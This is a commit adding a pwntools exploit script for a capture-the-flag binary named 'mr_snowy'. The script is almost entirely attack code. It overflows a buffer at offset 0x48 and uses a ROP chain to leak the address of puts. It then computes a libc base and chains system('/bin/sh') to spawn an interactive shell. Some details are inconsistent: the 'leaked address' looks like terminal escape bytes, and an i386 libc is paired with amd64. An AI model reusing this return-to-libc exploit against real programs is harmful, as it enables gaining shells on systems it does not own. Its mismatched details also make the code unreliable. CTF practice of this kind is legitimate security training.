add more work on the exploit

pwn/mrsnowy/kabuttmache.py

@@ -0,0 +1,59 @@
+#!/bin/env python
+
+from pwn import *
+
+context.arch = 'amd64'
+offset = 0x48
+
+elf = ELF('./mr_snowy')
+p = elf.process()
+
+# navigate to the affected read()
+def do_read():
+  while True:
+     ll = p.read()
+     if b'>' in ll:
+       break
+
+rop = ROP(elf)
+rop.call(elf.symbols['puts'], [elf.got['puts']])
+rop.call(elf.symbols['investigate'])
+
+# assemble payload
+payload = [
+    b'\xAA'*offset,
+	rop.chain()
+]
+
+# skip menu
+do_read()
+p.sendline(b'1')
+do_read()
+
+# send payload
+p.sendline(b''.join(payload))
+puts = u64(p.recvuntil(b'\n').rstrip().ljust(8, b'\x00'))
+log.info(f'puts found at {hex(puts)}')
+
+# Note:
+# libc database search for puts address: 0x6d31333b315b1b20
+# -> libc6_2.19-18+deb8u10_i386
+# -> https://libc.blukat.me/d/libc6_2.19-18+deb8u10_i386.so
+
+libc = ELF("libc6_2.19-18+deb8u10_i386.so")
+libc.address = puts - libc.symbols["puts"]
+log.info(f'libc base address determined {hex(libc.address)}')
+
+rop = ROP(libc)
+rop.call('puts', [ next(libc.search(b'/bin/sh\x00')) ])
+rop.call('system', [ next(libc.search(b'/bin/sh\x00')) ])
+rop.call('exit')
+
+# assemble payload
+payload = [
+    b'\xAA'*offset,
+	rop.chain()
+]
+
+p.sendline(b''.join(payload))
+p.interactive()